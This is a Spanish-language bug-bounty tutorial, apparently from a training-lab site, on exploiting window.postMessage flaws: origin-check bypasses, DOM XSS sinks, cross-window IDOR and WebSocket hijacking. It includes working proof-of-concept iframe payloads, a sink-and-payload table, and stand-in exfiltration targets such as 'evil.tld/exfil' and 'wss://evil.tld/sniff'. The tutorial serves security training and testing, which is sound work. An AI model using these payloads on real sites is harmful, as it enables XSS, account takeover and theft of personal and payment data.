Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioCon cuenta

postMessage — vulnerabilidades comunes: origin bypass, XSS sink, IDOR cross-window

Cómo identificar y explotar vulnerabilidades en window.postMessage(): listeners sin validación de origin, payloads JSON inseguros que llegan a DOM XSS, IDOR cross-origin.

Gorka El Bochi11 de mayo de 202613 min

Respuesta rápida

window.postMessage() es el canal IPC entre iframes/windows de orígenes diferentes — y es uno de los sinks DOM XSS más subestimados de 2026. La regla: si un listener procesa event.data sin validar event.origin, cualquier sitio que pueda abrir/embeber tu target puede mandar el payload. Tres patrones rentables: origin no validado (XSS clásico), regex de origin laxa (bypass con sub-strings), y payload que fluye a innerHTML/eval/location. Bounties: €1.500-€8.000 con multiplier cuando el target es SDK embeded (fintech, payment widgets).


El modelo postMessage

javascript
// Sender (cualquier origen)
window.parent.postMessage({type: "ready"}, "*");

// Receiver (target)
window.addEventListener("message", (event) => {
  // event.origin → origen del sender
  // event.data   → payload
  // event.source → window que envió
});

postMessage es cross-origin by design. El sender puede ser cualquier sitio. La seguridad depende enteramente del receiver validando event.origin.


Patrón vulnerable 1 — origin no validado

El sin de SDKs y widgets embeded:

javascript
window.addEventListener("message", (event) => {
  // NO valida origin
  const data = JSON.parse(event.data);
  document.getElementById("output").innerHTML = data.html;
});

Cualquier sitio que pueda embeber esta página manda:

javascript
// attacker.tld
const iframe = document.createElement("iframe");
iframe.src = "https://target.com/widget";
iframe.onload = () => {
  iframe.contentWindow.postMessage(
    JSON.stringify({ html: "<img src=x onerror=alert(document.domain)>" }),
    "*"
  );
};
document.body.appendChild(iframe);

→ XSS en target.com con cookies same-origin.

Detección

Busca todos los addEventListener("message", ...) en bundles JS. Si el handler no referencia event.origin → vulnerable.

bash
# grep en bundles minificados
grep -oP "addEventListener\(['\"]message['\"][^}]+" main.js | head -20

DevTools → Sources → busca "message" → inspecciona el handler.


Patrón vulnerable 2 — origin validado con regex débil

Los devs saben que hay que validar origin. Pero hacen regex permisivas:

Anti-pattern A: indexOf / includes

javascript
if (event.origin.indexOf("target.com") !== -1) {
  // process
}

Bypass:

  • https://target.com.attacker.tld → contiene "target.com"
  • https://attacker.tld/target.com → contiene "target.com" (origin no incluye path pero algunos parsers lo confunden — depende del browser)
  • https://target.coma.tld → si solo busca "target.co"

Anti-pattern B: startsWith

javascript
if (event.origin.startsWith("https://target")) accept();

Bypass: https://target.attacker.tld arranca con "https://target".

Anti-pattern C: regex sin anclajes

javascript
if (/target\.com/.test(event.origin)) accept();

Bypass: https://attacker.tld?x=target.com — pero origin no incluye query así que esto no funciona directamente. Sí funciona: https://target.com.attacker.tld (matches "target.com" como substring).

Anti-pattern D: split y comparación parcial

javascript
const host = event.origin.split("//")[1];
if (host.endsWith("target.com")) accept();

Bypass: https://eviltarget.com termina con "target.com".

[!warning] Validación correcta event.origin === "https://target.com" — exact match. Si necesitas múltiples orígenes, usa una whitelist explícita: ["https://target.com", "https://app.target.com"].includes(event.origin).

<!-- PAYWALL -->

Patrón vulnerable 3 — origin validado, payload no sanitizado

El receiver valida origin pero confía ciegamente en el payload. Si el sender legítimo está comprometido (XSS, supply chain, malicious iframe), el chain sigue siendo explotable.

javascript
window.addEventListener("message", (event) => {
  if (event.origin !== "https://trusted-cdn.com") return;
  document.getElementById("output").innerHTML = event.data.html;  // sink
});

Si trusted-cdn.com tiene XSS en cualquier punto → escala a target.com.

Sinks típicos en handlers postMessage

SinkPayloadResultado
innerHTML = data<img src=x onerror=alert(1)>DOM XSS
eval(data)alert(1)DOM XSS
setTimeout(data, 0) (string)alert(1)DOM XSS
location.href = datajavascript:alert(1)XSS via URL
document.write(data)<script>alert(1)</script>DOM XSS
Reflected en DOM treetemplate string mal escapadoStored-via-postMessage XSS
fetch(data.url) con credentialshttps://evil.tld/exfilCSRF-like exfiltration

IDOR cross-window via postMessage

Algunos widgets exponen RPC sobre postMessage — el child window pide datos al parent vía postMessage({type: "getUser", id: X}) y el parent responde con el user data.

Test

javascript
// attacker.tld embebe widget
const iframe = document.createElement("iframe");
iframe.src = "https://widget.target.com/embed";
iframe.onload = () => {
  iframe.contentWindow.postMessage({ type: "getUser", id: "VICTIMA" }, "*");
};

window.addEventListener("message", (event) => {
  console.log("Response:", event.data);    // → datos de la víctima
});

Si el widget no valida que el id solicitado pertenezca al user actualmente autenticado en el parent → IDOR cross-window.

Patrones de RPC vulnerables

  • {type: "getProfile", userId: X} — leak de profile
  • {type: "getEmail"} — leak de email asumiendo "el child sabe quién es"
  • {type: "getCookie", name: "session"} — exfil de cookies (anti-pattern serio)
  • {type: "navigate", url: X} — open redirect / phishing

Source bypass — confiar en event.source

Algunos handlers validan event.source en vez de event.origin:

javascript
window.addEventListener("message", (event) => {
  if (event.source === window.opener) accept();
});

Bypass: el atacante abre target con window.open(), luego mete el iframe vulnerable dentro. event.source es window desde el iframe — pero si la app está distribuida (target embebe widget de cdn), el chain es:

javascript
atacante.tldwindow.open(target.com)
                                ↓
                target.com tiene iframe (widget.com)
                                ↓
                widget.com postMessage al parent (target.com)
                                ↓
                target.com responde: event.source === window.opener?
                                ↓
                widget.com es el iframe, no window.opener → falla
                                ↓
                atacante.tld es window.openertrick:
                inyectar payload desde atacante.tld via window.open ref

Source validation sin origin validation es bypaseable en escenarios anidados.


WebSocket hijacking via postMessage

Patrón documentado: SDK de fintech expone WebSocket connection via postMessage. El widget abre WS al backend para receive realtime data. Si el endpoint /ws/connect se invoca via postMessage RPC:

javascript
// atacker.tld embebe widget
iframe.contentWindow.postMessage(
  { type: "wsConnect", url: "wss://evil.tld/sniff" },
  "*"
);

El widget abre WS a evil.tld → enviado con cookies de target → WebSocket Hijacking via postMessage. Combinación rentable cuando el WS lleva tokens financieros, payment info, o session keys.


SDK iframe embedded — la mina de oro

Payment widgets (Stripe Elements, Square, Klarna), chat widgets (Intercom, Drift), analytics widgets (Mixpanel) suelen embeber un iframe que se comunica con el parent via postMessage.

Por qué son rentables

  • El parent debe mandar datos sensibles al iframe (card number, contact info).
  • El iframe debe responder al parent con eventos ("card valid", "user typed").
  • Si CUALQUIER lado tiene origin validation débil → exfil de PII / payment.

Test pattern

  1. Embed el widget en attacker.tld.
  2. Manda postMessage con todos los type documentados en el SDK público.
  3. Manda postMessage con type no documentados — frecuentemente hay handlers internos expuestos.
  4. Cualquier response con datos del user del parent → leak.

Hunting checklist

  • Lista todos los addEventListener("message", ...) en bundles JS de la app.
  • Para cada handler: ¿valida event.origin?
  • Si valida: ¿es exact match (===) o regex/indexOf/startsWith (vulnerable)?
  • Identifica el sink: innerHTML, eval, location.href, document.write, setTimeout(string), fetch(data.url).
  • Embed el widget en tu dominio y manda payloads explorando cada type que el handler procesa.
  • IDOR via postMessage RPC: pide datos con id de otro user.
  • WebSocket / fetch hijack: ¿el handler abre conexiones con URL controlable?
  • Source bypass: si valida event.source, busca chains con window.open + iframe.
  • SDK embedded payment/chat/analytics → handlers no documentados.
  • Verifica origin validation con https://eviltarget.com y https://target.com.evil.tld.
  • Documenta: PoC con iframe en attacker.tld + impact (XSS, PII leak, payment data exfil).

Labs relacionados

Practica origin bypass, sink discovery e IDOR cross-window en labs de postMessage.

Practica esto en un lab

Zero Click Postmessage Origin Bypass

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El truco postMessage + WebSocket Hijacking que da takeover zero-click en SDKs embeded de fintech populares.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados